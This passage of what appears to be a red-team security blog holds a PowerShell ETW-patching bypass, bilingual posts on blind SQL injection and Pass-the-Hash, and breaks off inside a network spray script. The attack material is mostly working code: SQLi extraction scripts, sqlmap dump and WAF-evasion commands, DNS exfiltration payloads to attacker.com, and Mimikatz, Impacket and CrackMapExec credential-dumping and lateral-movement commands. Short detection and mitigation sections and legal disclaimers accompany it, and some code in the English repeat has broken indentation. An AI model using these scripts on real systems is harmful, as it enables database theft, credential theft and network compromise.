public static extern IntPtr GetProcAddress(IntPtr h, string name);
[DllImport(&quot;kernel32.dll&quot;)]
public static extern IntPtr LoadLibrary(string name);
&#x27;@ -Name &#x27;K32&#x27; -PassThru

        $lib  = $kernel32::LoadLibrary(&quot;ntdll.dll&quot;)
        $func = $kernel32::GetProcAddress($lib, &quot;EtwEventWrite&quot;)
        $old  = [uint32]0
        $kernel32::VirtualProtect($func, [UIntPtr]1, 0x40, [ref]$old) | Out-Null
        [System.Runtime.InteropServices.Marshal]::WriteByte($func, 0xC3)
        
        Write-Host &quot;[+] ETW      : patched&quot; -ForegroundColor Green
    } catch {
        Write-Host &quot;[!] ETW bypass skipped: $_&quot; -ForegroundColor Yellow
    }
}

Invoke-AmsiBypass
Invoke-ETWBypass
Write-Host &quot;[*] Session ready. OPSEC level: reduced.&quot; -ForegroundColor Cyan

Detection by the Defender Side

If you are the Blue Team, monitor:

Event ID 4104 — Script Block Logging (PowerShell)
Event ID 4688 — Process creation with powershell.exe -version 2
Sysmon Event 10 — Process access to amsi.dll
Loading of System.Management.Automation via Reflection
Presence of strings such as AmsiScanBuffer, amsiInitFailed, VirtualProtect in logs

# Blue Team: check if AMSI is active in the session
[Ref].Assembly.GetType(&#x27;System.Management.Automation.AmsiUtils&#x27;)
    .GetField(&#x27;amsiInitFailed&#x27;,&#x27;NonPublic,Static&#x27;)
    .GetValue($null)
# $false = AMSI active | $true = AMSI compromised

Mitigations

Enable PowerShell Constrained Language Mode via WDAC/AppLocker
Disable PowerShell 2.0 (Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root)
Enable Script Block Logging and Module Logging (GPO)
Use EDR with memory protection (CrowdStrike, SentinelOne, Microsoft Defender for Endpoint)
Monitor ETW providers for PowerShell: Microsoft-Windows-PowerShell
Implement JEA (Just Enough Administration) to restrict available commands

References

Blind SQL Injection — Extraindo dados sem ver o output

redteam@kbmsecurity.com.br — Mon, 10 Feb 2025 00:00:00 GMT

Blind SQL Injection ocorre quando uma aplicação é vulnerável a SQL Injection, mas não retorna os resultados da query nem mensagens de erro na resposta HTTP. O atacante precisa inferir o conteúdo do banco de dados com base em comportamentos indiretos da aplicação.

Existem dois tipos principais:

Tipo	Mecanismo	Velocidade
Boolean-based	Avalia TRUE/FALSE na resposta	Lenta
Time-based	Mede atraso na resposta (SLEEP)	Muito lenta
Error-based	Provoca erros com dados embutidos	Rápida
Out-of-band	Exfiltração via DNS/HTTP	Rápida

Identificando a vulnerabilidade

Teste básico de injeção

GET /user?id=1 HTTP/1.1
Host: target.com

Injete condições booleanas e observe diferenças de resposta:

# Condição TRUE — resposta normal
/user?id=1 AND 1=1--

# Condição FALSE — resposta diferente (sem conteúdo, redirect, etc.)
/user?id=1 AND 1=2--

Se as respostas forem visivelmente diferentes entre TRUE e FALSE, o endpoint é vulnerável a boolean-based blind SQLi.

Teste time-based

# MySQL / MariaDB
/user?id=1 AND SLEEP(5)--

# PostgreSQL
/user?id=1 AND pg_sleep(5)--

# MSSQL
/user?id=1; WAITFOR DELAY '0:0:5'--

# Oracle
/user?id=1 AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5)--

Se a resposta demorar exatamente 5 segundos, o backend é vulnerável.

Boolean-Based Exploitation (Manual)

A técnica consiste em fazer perguntas de sim/não ao banco de dados, extraindo um caractere por vez.

Identificando o banco de dados

-- MySQL
1 AND SUBSTRING(@@version,1,1)='5'--

-- PostgreSQL
1 AND SUBSTRING(version(),1,10)='PostgreSQL'--

-- MSSQL
1 AND SUBSTRING(@@version,1,9)='Microsoft'--

Extraindo o nome do banco atual

-- Tamanho do nome
1 AND LENGTH(database())=6--

-- Primeiro caractere
1 AND SUBSTRING(database(),1,1)='d'--

-- Segundo caractere
1 AND SUBSTRING(database(),2,1)='v'--

Script Python para automação boolean-based

#!/usr/bin/env python3
# blind_sqli_extract.py — Boolean-based extractor

import requests
import string
import sys

TARGET = "http://target.com/user"
PARAM  = "id"
CHARS  = string.ascii_lowercase + string.digits + "_-@."

def inject(payload: str) -> bool:
    """Returns True if the injection condition is TRUE."""
    params = {PARAM: f"1 AND ({payload})-- -"}
    r = requests.get(TARGET, params=params, timeout=10)
    # Adjust the marker to whatever differentiates TRUE from FALSE
    return "Welcome" in r.text

def extract_string(query: str, max_len: int = 64) -> str:
    """Extract a string value one character at a time."""
    result = ""
    for pos in range(1, max_len + 1):
        found = False
        for ch in CHARS:
            payload = f"SUBSTRING(({query}),{pos},1)='{ch}'"
            if inject(payload):
                result += ch
                sys.stdout.write(ch)
                sys.stdout.flush()
                found = True
                break
        if not found:
            break  # End of string
    print()
    return result

if __name__ == "__main__":
    print("[*] Extracting database name...")
    db = extract_string("SELECT database()")
    print(f"[+] Database: {db}")

    print("[*] Extracting first table name...")
    table = extract_string(
        f"SELECT table_name FROM information_schema.tables "
        f"WHERE table_schema='{db}' LIMIT 1"
    )
    print(f"[+] First table: {table}")

    print("[*] Extracting columns...")
    cols = extract_string(
        f"SELECT GROUP_CONCAT(column_name) FROM information_schema.columns "
        f"WHERE table_name='{table}'"
    )
    print(f"[+] Columns: {cols}")

Time-Based Exploitation (Manual)

Quando não há diferença visual na resposta, use atrasos de tempo como canal de informação.

#!/usr/bin/env python3
# time_based_sqli.py — Time-based extractor

import requests
import string
import time
import sys

TARGET    = "http://target.com/user"
PARAM     = "id"
DELAY     = 3      # seconds to sleep if TRUE
THRESHOLD = 2.5    # detection threshold
CHARS     = string.ascii_lowercase + string.digits + "_-@."

def inject_time(payload: str) -> bool:
    """Returns True if the response took longer than THRESHOLD."""
    full = f"1 AND IF(({payload}), SLEEP({DELAY}), 0)-- -"
    params = {PARAM: full}
    start = time.time()
    try:
        requests.get(TARGET, params=params, timeout=DELAY + 5)
    except requests.exceptions.Timeout:
        return True
    elapsed = time.time() - start
    return elapsed >= THRESHOLD

def extract_string(query: str, max_len: int = 64) -> str:
    result = ""
    for pos in range(1, max_len + 1):
        found = False
        for ch in CHARS:
            payload = f"SUBSTRING(({query}),{pos},1)='{ch}'"
            if inject_time(payload):
                result += ch
                sys.stdout.write(ch)
                sys.stdout.flush()
                found = True
                break
        if not found:
            break
    print()
    return result

if __name__ == "__main__":
    print("[*] Time-based extraction — this will be slow...")
    db = extract_string("SELECT database()")
    print(f"[+] Database: {db}")

NOTA: Time-based SQLi é extremamente lento para strings longas. Use binary search (ascii range) para otimizar.

Otimização com Binary Search

def extract_char_binary(query: str, pos: int) -> str:
    """Extract a single character using binary search on ASCII value."""
    lo, hi = 32, 126  # printable ASCII range
    while lo < hi:
        mid = (lo + hi) // 2
        payload = f"ASCII(SUBSTRING(({query}),{pos},1))>{mid}"
        if inject_time(payload):
            lo = mid + 1
        else:
            hi = mid
    return chr(lo) if 32 <= lo <= 126 else ''

Usando sqlmap

Para automação profissional, o sqlmap é a ferramenta padrão.

# Detecção básica
sqlmap -u "http://target.com/user?id=1" --batch

# Forçar técnicas específicas
sqlmap -u "http://target.com/user?id=1" \
  --technique=BT \
  --batch \
  --level=3 \
  --risk=2

# Extrair banco, tabelas e dump
sqlmap -u "http://target.com/user?id=1" \
  --dbs \
  --batch

sqlmap -u "http://target.com/user?id=1" \
  -D target_db \
  --tables \
  --batch

sqlmap -u "http://target.com/user?id=1" \
  -D target_db \
  -T users \
  --dump \
  --batch

# Via POST request
sqlmap -u "http://target.com/login" \
  --data="username=admin&password=test" \
  -p username \
  --batch

# Via Burp intercepted request
sqlmap -r request.txt --batch --level=5

# Com cookie de sessão autenticado
sqlmap -u "http://target.com/profile?id=1" \
  --cookie="session=abc123; csrftoken=xyz" \
  --batch

sqlmap com proxy (Burp Suite)

sqlmap -u "http://target.com/user?id=1" \
  --proxy="http://127.0.0.1:8080" \
  --batch \
  --tamper=space2comment,randomcase

Bypass de WAF

Tamper scripts úteis do sqlmap

# Espaço → comentário SQL
--tamper=space2comment

# Case aleatório: SELECT → SeLeCt
--tamper=randomcase

# Encode URL dos payloads
--tamper=percentage

# Combinar múltiplos tampers
--tamper=space2comment,randomcase,between

Payloads ofuscados manualmente

-- Espaços substituídos por comentários
1/**/AND/**/1=1--

-- Inline comments para separar keywords
1 /*!AND*/ 1=1--

-- Hex encoding de strings
1 AND SUBSTRING(database(),1,1)=0x64--

-- Double URL encoding (para WAFs que decodificam uma vez)
%2527  →  %27  →  '

Out-of-Band (OOB) Exfiltration

Quando ambos boolean e time-based estão bloqueados, exfiltre via DNS ou HTTP.

MySQL — DNS Exfiltration

-- Exige FILE privilege e resolução DNS externa
SELECT LOAD_FILE(CONCAT('\\\\',
  (SELECT database()),
  '.attacker.com\\share'))--

MSSQL — xp_dirtree DNS

-- Via xp_dirtree (não precisa de xp_cmdshell)
EXEC master.dbo.xp_dirtree
  '\\' + (SELECT TOP 1 table_name FROM information_schema.tables) + '.attacker.com\x'--

Capturando com interactsh ou Burp Collaborator

# Iniciar listener com interactsh-client
interactsh-client -v

# Sua URL de callback fica em: xxxx.interactsh.com
# Use no payload:
# ' AND LOAD_FILE(CONCAT('\\\\', database(), '.xxxx.interactsh.com\\x'))--

Mitigação

Vetor	Controle Recomendado
Query dinâmica	Usar Prepared Statements / Parameterized Queries
ORM inseguro	Evitar raw queries; usar ORMs com bind parameters
Erros verbosos	Desabilitar stack traces em produção
Ausência de WAF	Implementar WAF com regras OWASP CRS
Permissões excessivas	DB user deve ter apenas SELECT nas tabelas necessárias
OOB via DNS	Bloquear resolução DNS de saída no servidor DB

# SEGURO: Parameterized query em Python (psycopg2)
import psycopg2

conn = psycopg2.connect("dbname=app user=readonly")
cur  = conn.cursor()

user_id = request.args.get("id")
cur.execute("SELECT username FROM users WHERE id = %s", (user_id,))
row = cur.fetchone()

Referências

AVISO LEGAL: Este conteúdo é destinado exclusivamente a profissionais de segurança autorizados. O uso destas técnicas em sistemas sem autorização explícita é ilegal. KBM Security não se responsabiliza pelo uso indevido.

Blind SQL Injection — Extracting Data Without Seeing the Output

redteam@kbmsecurity.com.br — Mon, 10 Feb 2025 00:00:00 GMT

Blind SQL Injection occurs when an application is vulnerable to SQL Injection, but does not return query results or error messages in the HTTP response. The attacker must infer the database content based on indirect application behaviors.

There are two main types:

Type	Mechanism	Speed
Boolean-based	Evaluates TRUE/FALSE in the response	Slow
Time-based	Measures response delay (SLEEP)	Very slow
Error-based	Causes errors with embedded data	Fast
Out-of-band	Exfiltration via DNS/HTTP	Fast

Identifying the vulnerability

Basic injection test

GET /user?id=1 HTTP/1.1
Host: target.com

Inject Boolean conditions and observe differences in response:

# TRUE condition — normal response
/user?id=1 AND 1=1--

# FALSE condition — different response (no content, redirect, etc.)
/user?id=1 AND 1=2--

If the responses are visibly different between TRUE and FALSE, the endpoint is vulnerable to boolean-based blind SQLi.

Time-based test

# MySQL / MariaDB
/user?id=1 AND SLEEP(5)--

# PostgreSQL
/user?id=1 AND pg_sleep(5)--

# MSSQL
/user?id=1; WAITFOR DELAY &#x27;0:0:5&#x27;--

# Oracle
/user?id=1 AND 1=DBMS_PIPE.RECEIVE_MESSAGE(&#x27;a&#x27;,5)--

If the response takes exactly 5 seconds, the backend is vulnerable.

Boolean-Based Exploitation (Manual)

The technique consists of asking yes/no questions to the database, extracting one character at a time.

Identifying the database

-- MySQL
1 AND SUBSTRING(@@version,1,1)=&#x27;5&#x27;--

-- PostgreSQL
1 AND SUBSTRING(version(),1,10)=&#x27;PostgreSQL&#x27;--

-- MSSQL
1 AND SUBSTRING(@@version,1,9)=&#x27;Microsoft&#x27;--

Extracting the name of the current database

-- Name length
1 AND LENGTH(database())=6--

-- First character
1 AND SUBSTRING(database(),1,1)=&#x27;d&#x27;--

-- Second character
1 AND SUBSTRING(database(),2,1)=&#x27;v&#x27;--

Python script for boolean-based automation

#!/usr/bin/env python3
# blind_sqli_extract.py — Boolean-based extractor

import requests
import string
import sys

TARGET = &quot;http://target.com/user&quot;
PARAM  = &quot;id&quot;
CHARS  = string.ascii_lowercase + string.digits + &quot;_-@.&quot;

def inject(payload: str) -&gt; bool:
    &quot;&quot;&quot;Returns True if the injection condition is TRUE.&quot;&quot;&quot;
    params = {PARAM: f&quot;1 AND ({payload})-- -&quot;}
    r = requests.get(TARGET, params=params, timeout=10)
    # Adjust the marker to whatever differentiates TRUE from FALSE
    return &quot;Welcome&quot; in r.text

def extract_string(query: str, max_len: int = 64) -&gt; str:
    &quot;&quot;&quot;Extract a string value one character at a time.&quot;&quot;&quot;
    result = &quot;&quot;
    for pos in range(1, max_len + 1):
        found = False
        for ch in CHARS:
            payload = f&quot;SUBSTRING(({query}),{pos},1)=&#x27;{ch}&#x27;&quot;
            if inject(payload):
                result += ch
                sys.stdout.write(ch)
                sys.stdout.flush()
                found = True
                break
        if not found:
        break  # End of string
    print()
    return result

if __name__ == &quot;__main__&quot;:
    print(&quot;[*] Extracting database name...&quot;)
    db = extract_string(&quot;SELECT database()&quot;)
    print(f&quot;[+] Database: {db}&quot;)

    print(&quot;[*] Extracting first table name...&quot;)
    table = extract_string(
        f&quot;SELECT table_name FROM information_schema.tables &quot;
        f&quot;WHERE table_schema=&#x27;{db}&#x27; LIMIT 1&quot;
    )
    print(f&quot;[+] First table: {table}&quot;)

    print(&quot;[*] Extracting columns...&quot;)
    cols = extract_string(
        f&quot;SELECT GROUP_CONCAT(column_name) FROM information_schema.columns &quot;
        f&quot;WHERE table_name=&#x27;{table}&#x27;&quot;
    )
    print(f&quot;[+] Columns: {cols}&quot;)

Time-Based Exploitation (Manual)

When there is no visual difference in the response, use time delays as a channel of information.

#!/usr/bin/env python3
# time_based_sqli.py — Time-based extractor

import requests
import string
import time
import sys

TARGET    = &quot;http://target.com/user&quot;
PARAM     = &quot;id&quot;
DELAY     = 3      # seconds to sleep if TRUE
THRESHOLD = 2.5    # detection threshold
CHARS     = string.ascii_lowercase + string.digits + &quot;_-@.&quot;

def inject_time(payload: str) -&gt; bool:
    &quot;&quot;&quot;Returns True if the response took longer than THRESHOLD.&quot;&quot;&quot;
    full = f&quot;1 AND IF(({payload}), SLEEP({DELAY}), 0)-- -&quot;
    params = {PARAM: full}
    start = time.time()
    try:
        requests.get(TARGET, params=params, timeout=DELAY + 5)
    except requests.exceptions.Timeout:
        return True
elapsed = time.time() - start
return elapsed &gt;= THRESHOLD

def extract_string(query: str, max_len: int = 64) -&gt; str:
result = &quot;&quot;
for pos in range(1, max_len + 1):
found = False
        for ch in CHARS:
            payload = f&quot;SUBSTRING(({query}),{pos},1)=&#x27;{ch}&#x27;&quot;
            if inject_time(payload):
                result += ch
                sys.stdout.write(ch)
                sys.stdout.flush()
                found = True
                break
        if not found:
            break
    print()
    return result

if __name__ == &quot;__main__&quot;:
    print(&quot;[*] Time-based extraction — this will be slow...&quot;)
    db = extract_string(&quot;SELECT database()&quot;)
    print(f&quot;[+] Database: {db}&quot;)

> NOTE: Time-based SQLi is extremely slow for long strings. Use binary search (ascii range) to optimize.

Optimization with Binary Search

def extract_char_binary(query: str, pos: int) -&gt; str:
    &quot;&quot;&quot;Extract a single character using binary search on ASCII value.&quot;&quot;&quot;
    lo, hi = 32, 126  # printable ASCII range
    while lo &lt; hi:
        mid = (lo + hi) // 2
        payload = f&quot;ASCII(SUBSTRING(({query}),{pos},1))&gt;{mid}&quot;
        if inject_time(payload):
            lo = mid + 1
        else:
            hi = mid
    return chr(lo) if 32 &lt;= lo &lt;= 126 else &#x27;&#x27;

Using sqlmap

For professional automation, sqlmap is the standard tool.

# Basic detection
sqlmap -u &quot;http://target.com/user?id=1&quot; --batch

# Force specific techniques
sqlmap -u &quot;http://target.com/user?id=1&quot; \
  --technique=BT \
  --batch \
  --level=3 \
  --risk=2

# Extract database, tables, and dump
sqlmap -u &quot;http://target.com/user?id=1&quot; \
  --dbs \
  --batch

sqlmap -u &quot;http://target.com/user?id=1&quot; \
  -D target_db \
  --tables \
  --batch

sqlmap -u &quot;http://target.com/user?id=1&quot; \
  -D target_db \
  -T users \
  --dump \
  --batch

# Via POST request
sqlmap -u &quot;http://target.com/login&quot; \
  --data=&quot;username=admin&amp;password;=test&quot; \
  -p username \
  --batch

# Via Burp intercepted request
sqlmap -r request.txt --batch --level=5

# With authenticated session cookie
sqlmap -u &quot;http://target.com/profile?id=1&quot; \
  --cookie=&quot;session=abc123; csrftoken=xyz&quot; \
  --batch

sqlmap with proxy (Burp Suite)

sqlmap -u &quot;http://target.com/user?id=1&quot; \
  --proxy=&quot;http://127.0.0.1:8080&quot; \
  --batch \
  --tamper=space2comment,randomcase

WAF bypass

Useful sqlmap tamper scripts

# Space → SQL comment
--tamper=space2comment

# Random case: SELECT → SeLeCt
--tamper=randomcase

# Encode URL payloads
--tamper=percentage

# Combine multiple tampers
--tamper=space2comment,randomcase,between

Manually obfuscated payloads

-- Spaces replaced with comments
1/**/AND/**/1=1--

-- Inline comments to separate keywords
1 /*!AND*/ 1=1--

-- Hex encoding of strings
1 AND SUBSTRING(database(),1,1)=0x64--

-- Double URL encoding (for WAFs that decode once)
%2527  →  %27  →  &#x27;

Out-of-Band (OOB) Exfiltration

When both boolean and time-based are blocked, exfiltrate via DNS or HTTP.

MySQL — DNS Exfiltration

-- Requires FILE privilege and external DNS resolution
SELECT LOAD_FILE(CONCAT(&#x27;\\\\&#x27;,
  (SELECT database()),
  &#x27;.attacker.com\\share&#x27;))--

MSSQL — xp_dirtree DNS

-- Via xp_dirtree (no need for xp_cmdshell)
EXEC master.dbo.xp_dirtree
  &#x27;\\&#x27; + (SELECT TOP 1 table_name FROM information_schema.tables) + &#x27;.attacker.com\x&#x27;--

Capturing with interactsh or Burp Collaborator

# Start listener with interactsh-client
interactsh-client -v

# Your callback URL is: xxxx.interactsh.com
# Use in payload:
# &#x27; AND LOAD_FILE(CONCAT(&#x27;\\\\&#x27;, database(), &#x27;.xxxx.interactsh.com\\x&#x27;))--

Mitigation

Vector	Recommended Control
Dynamic query	Use Prepared Statements / Parameterized Queries
Insecure ORM	Avoid raw queries; use ORMs with bind parameters
Verbose errors	Disable stack traces in production
Lack of WAF	Implement WAF with OWASP CRS rules
Excessive permissions	DB user should only have SELECT on necessary tables
OOB via DNS	Block outgoing DNS resolution on the DB server

# SECURE: Parameterized query in Python (psycopg2)
import psycopg2

conn = psycopg2.connect(&quot;dbname=app user=readonly&quot;)
cur  = conn.cursor()

user_id = request.args.get(&quot;id&quot;)
cur.execute(&quot;SELECT username FROM users WHERE id = %s&quot;, (user_id,))
row = cur.fetchone()

References

> DISCLAIMER: This content is intended exclusively for authorized security professionals. The use of these techniques on systems without explicit authorization is illegal. KBM Security is not responsible for misuse.

Pass-the-Hash — Lateral Movement sem senha em texto claro

redteam@kbmsecurity.com.br — Mon, 03 Feb 2025 00:00:00 GMT

O que é Pass-the-Hash?

Pass-the-Hash (PtH) é uma técnica de ataque que permite autenticação em serviços Windows utilizando o hash NTLM da senha de um usuário — sem nunca precisar da senha em texto claro.

O protocolo de autenticação NTLM do Windows não valida se o cliente conhece a senha original; ele valida se o cliente possui o hash correto. Isso torna hashes NTLM funcionalmente equivalentes a senhas.

Por que isso funciona?

O fluxo de autenticação NTLM funciona assim:

Cliente solicita acesso ao servidor
Servidor envia um challenge (nonce aleatório)
Cliente responde com HMAC-MD5(NT_hash, challenge)
Servidor verifica a resposta

Em nenhum momento a senha em texto claro é transmitida ou verificada. O hash é a credencial.

Pré-requisitos

Requisito	Detalhe
Hash NTLM do alvo	Obtido via Mimikatz, secretsdump, etc.
Serviço acessível	SMB (445), WMI (135), RDP com NLA desabilitado
Conta válida	Local admin ou domain admin no destino
Protocolo NTLMv1/v2	NTLM deve estar habilitado no alvo

Nota: Pass-the-Hash não funciona contra serviços que exigem Kerberos exclusivamente (e.g. ambientes com “Restrict NTLM” configurado via GPO).

Etapa 1 — Capturando hashes NTLM

Via Mimikatz (acesso local com SYSTEM)

# Dump de credenciais em memória
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit

# Output relevante:
# Username : Administrator
# NTLM     : aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c

Via Impacket secretsdump (remoto, com credenciais admin)

# Dump remoto via SMB + DCE/RPC
secretsdump.py DOMAIN/Administrator:'P@ssw0rd'@192.168.1.10

# Dump usando hash (já fazendo PtH para capturar mais hashes)
secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c \
  DOMAIN/Administrator@192.168.1.10

Via CrackMapExec

# Dump de SAM database
crackmapexec smb 192.168.1.0/24 -u Administrator -H 8846f7eaee8fb117ad06bdd830b7586c --sam

O formato do hash é sempre LM:NT. O LM geralmente é aad3b435b51404eeaad3b435b51404ee (hash vazio) em sistemas modernos. O que importa é a parte NT.

Etapa 2 — Executando o PtH

Impacket — psexec.py

Abre um shell interativo no host remoto via SMB:

psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c \
  DOMAIN/Administrator@192.168.1.20

# Resultado:
# [*] Requesting shares on 192.168.1.20.....
# [*] Found writable share ADMIN$
# [*] Uploading file XKjQrPwN.exe
# Microsoft Windows [Version 10.0.19044.2251]
# C:\Windows\system32>

Impacket — wmiexec.py

Execução via WMI (mais silencioso que psexec, sem arquivo em disco):

wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c \
  DOMAIN/Administrator@192.168.1.20 "whoami"

# Resultado: domain\administrator

Impacket — smbclient.py

Acesso ao filesystem via SMB:

smbclient.py -hashes aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c \
  DOMAIN/Administrator@192.168.1.20

# Navegar nos shares:
# # use C$
# # ls
# # get Users\Administrator\Desktop\flag.txt

CrackMapExec — Spray na rede

Testar o hash contra múltiplos hosts de uma vez:

# Verificar quais hosts aceitam o hash
crackmapexec smb 192.168.1.0/24 \
  -u Administrator \
  -H 8846f7eaee8fb117ad06bdd830b7586c

# Executar comando em todos que aceitaram
crackmapexec smb 192.168.1.0/24 \
  -u Administrator \
  -H 8846f7eaee8fb117ad06bdd830b7586c \
  -x "net user /domain"

# Output com (Pwn3d!) indica sucesso como admin local:
# SMB  192.168.1.20  445  WIN10-DEV  [+] DOMAIN\Administrator (Pwn3d!)
# SMB  192.168.1.25  445  WIN-SRV01  [+] DOMAIN\Administrator (Pwn3d!)

Mimikatz — sekurlsa::pth

Injeta o hash no processo atual para autenticação transparente:

# Abre um cmd.exe autenticado com o hash
mimikatz.exe "sekurlsa::pth /user:Administrator /domain:CORP /ntlm:8846f7eaee8fb117ad06bdd830b7586c /run:cmd.exe"

# Na janela resultante:
dir \\192.168.1.20\C$        # acesso direto sem prompt de senha
net use \\192.168.1.20\C$    # mapeia o share

Movimento em ambientes de domínio

Identificando hosts com o mesmo hash local

Ambientes Windows legados frequentemente têm a conta .\Administrator local com a mesma senha em todos os workstations (imagem de SO idêntica). Um único hash compromete toda a subnet.

# Mapeamento rápido de ativos com o mesmo hash
crackmapexec smb 10.10.10.0/24 \
  -u Administrator \
  -H <NTLM_HASH> \
  --continue-on-success \
  | grep "Pwn3d"

Pivoting para o Domain Controller

Se o hash capturado pertence a um Domain Admin:

# Dump do NTDS.dit via secretsdump (todos os hashes do domínio)
secretsdump.py -hashes :<DA_NT_HASH> \
  DOMAIN/DomainAdmin@192.168.1.1 \
  -just-dc-ntlm

# Resultado: centenas de hashes, incluindo krbtgt para Golden Ticket

Script de automação

#!/bin/bash
# pth_spray.sh — Testa hash NTLM contra range de IPs via CrackMapExec

TARGET_RANGE="${1:-192.168.1.0/24}"
USER="${2:-Administrator}"
HASH="${3}"

if [[ -z "$HASH" ]]; then
  echo "Uso: $0 <CIDR> <user> <NT_hash>"
  exit 1
fi

echo "[*] Iniciando PtH spray em $TARGET_RANGE como $USER"
echo "[*] Hash: ${HASH:0:8}...redacted"
echo ""

crackmapexec smb "$TARGET_RANGE" \
  -u "$USER" \
  -H "$HASH" \
  --continue-on-success 2>/dev/null \
  | tee /tmp/pth_results.txt

PWNED=$(grep -c "Pwn3d" /tmp/pth_results.txt)
echo ""
echo "[+] Hosts comprometidos: $PWNED"
echo "[*] Resultados em: /tmp/pth_results.txt"

AVISO: Esta técnica deve ser utilizada exclusivamente em engajamentos de Red Team com autorização escrita. O uso não autorizado é crime.

Detecção

Defenders devem monitorar:

Indicador	Event ID	Descrição
Logon com hash (sem senha)	4624	Logon Type 3, sem NTLMv2 challenge completo
Uso de admin local generalizado	4648	Logon explícito com credenciais alternativas
Ferramentas conhecidas	7045	Serviço PSEXESVC criado
Anomalia de autenticação	4776	NTLM auth de host incomum

Mitigações

KB2871997 — Restringe uso de hashes para contas locais (exceto RID 500)
Protected Users Security Group — Força Kerberos, desabilita NTLM
Credential Guard — Isola LSA em VTL1, impede extração via Mimikatz
LAPS (Local Administrator Password Solution) — Senhas únicas por host, elimina o spray
Tiering model — Isola contas admin de domínio de workstations
Disable NTLMv1 — Via GPO: Network security: LAN Manager authentication level

Pass-the-Hash — Lateral Movement Without a Cleartext Password

redteam@kbmsecurity.com.br — Mon, 03 Feb 2025 00:00:00 GMT

What is Pass-the-Hash?

Pass-the-Hash (PtH) is an attack technique that allows authentication to Windows services using the NTLM hash of a user’s password—without ever needing the password in plain text.

The Windows NTLM authentication protocol does not validate whether the client knows the original password; it validates whether the client has the correct hash. This makes NTLM hashes functionally equivalent to passwords.

Why does this work?

The NTLM authentication flow works like this:

Client requests access to the server
Server sends a challenge (random nonce)
Client responds with HMAC-MD5(NT_hash, challenge)
Server verifies the response

At no point is the plaintext password transmitted or verified. The hash is the credential.

Prerequisites

Requirement	Detail
Target NTLM hash	Obtained via Mimikatz, secretsdump, etc.
Accessible service	SMB (445), WMI (135), RDP with NLA disabled
Valid account	Local admin or domain admin on the target
NTLMv1/v2 protocol	NTLM must be enabled on the target

> Note: Pass-the-Hash does not work against services that require Kerberos exclusively (e.g., environments with “Restrict NTLM” configured via GPO).

Step 1 — Capturing NTLM hashes

Via Mimikatz (local access with SYSTEM)

# Dump credentials in memory
mimikatz.exe &quot;privilege::debug&quot; &quot;sekurlsa::logonpasswords&quot; exit

# Relevant output:
# Username : Administrator
# NTLM     : aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c

Via Impacket secretsdump (remote, with admin credentials)

# Remote dump via SMB + DCE/RPC
secretsdump.py DOMAIN/Administrator:&#x27;P@ssw0rd&#x27;@192.168.1.10

# Dump using hash (already doing PtH to capture more hashes)
secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c \
  DOMAIN/Administrator@192.168.1.10

Via CrackMapExec

# Dump SAM database
crackmapexec smb 192.168.1.0/24 -u Administrator -H 8846f7eaee8fb117ad06bdd830b7586c --sam

The hash format is always LM:NT. LM is usually aad3b435b51404eeaad3b435b51404ee (empty hash) on modern systems. What matters is the NT part.

Step 2 — Running PtH

Impacket — psexec.py

Opens an interactive shell on the remote host via SMB:

psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c \
  DOMAIN/Administrator@192.168.1.20

# Result:
# [*] Requesting shares on 192.168.1.20.....
# [*] Found writable share ADMIN$
# [*] Uploading file XKjQrPwN.exe
# Microsoft Windows [Version 10.0.19044.2251]
# C:\Windows\system32&gt;

Impacket — wmiexec.py

Execution via WMI (quieter than psexec, no file on disk):

wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c \
  DOMAIN/Administrator@192.168.1.20 &quot;whoami&quot;

# Result: domain\administrator

Impacket — smbclient.py

Access to the filesystem via SMB:

smbclient.py -hashes aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c \
  DOMAIN/Administrator@192.168.1.20

# Browse shares:
# # use C$
# # ls
# # get Users\Administrator\Desktop\flag.txt

CrackMapExec — Spray on the network

Test the hash against multiple hosts at once:

# Check which hosts accept the hash
crackmapexec smb 192.168.1.0/24 \
  -u Administrator \
  -H 8846f7eaee8fb117ad06bdd830b7586c

# Run command on all that accepted
crackmapexec smb 192.168.1.0/24 \
  -u Administrator \
  -H 8846f7eaee8fb117ad06bdd830b7586c \
  -x &quot;net user /domain&quot;

# Output with (Pwn3d!) indicates success as local admin:
# SMB  192.168.1.20  445  WIN10-DEV  [+] DOMAIN\Administrator (Pwn3d!)
# SMB  192.168.1.25  445  WIN-SRV01  [+] DOMAIN\Administrator (Pwn3d!)

Mimikatz — sekurlsa::pth

Injects the hash into the current process for transparent authentication:

# Opens an authenticated cmd.exe with the hash
mimikatz.exe &quot;sekurlsa::pth /user:Administrator /domain:CORP /ntlm:8846f7eaee8fb117ad06bdd830b7586c /run:cmd.exe&quot;

# In the resulting window:
dir \\192.168.1.20\C$        # direct access without password prompt
net use \\192.168.1.20\C$    # maps the share

Movement in domain environments

Identifying hosts with the same local hash

Legacy Windows environments often have the local .\Administrator account with the same password on all workstations (identical OS image). A single hash compromises the entire subnet.

# Quick mapping of assets with the same hash
crackmapexec smb 10.10.10.0/24 \
  -u Administrator \
  -H <ntlm_hash> \
  --continue-on-success \
  | grep &quot;Pwn3d&quot;

Pivoting to the Domain Controller

If the captured hash belongs to a Domain Admin:

# Dump NTDS.dit via secretsdump (all domain hashes)
secretsdump.py -hashes :<da_nt_hash> \
  DOMAIN/DomainAdmin@192.168.1.1 \
  -just-dc-ntlm

# Result: hundreds of hashes, including krbtgt for Golden Ticket

Automation script

#!/bin/bash
# pth_spray.sh — Tests NTLM hash against IP range via CrackMapExec

TARGET_RANGE=&quot;${1:-192.168.1.0/24}&quot;
USER=&quot;${2:-Administrator}&quot;
HASH=&quot;${3}&quot;

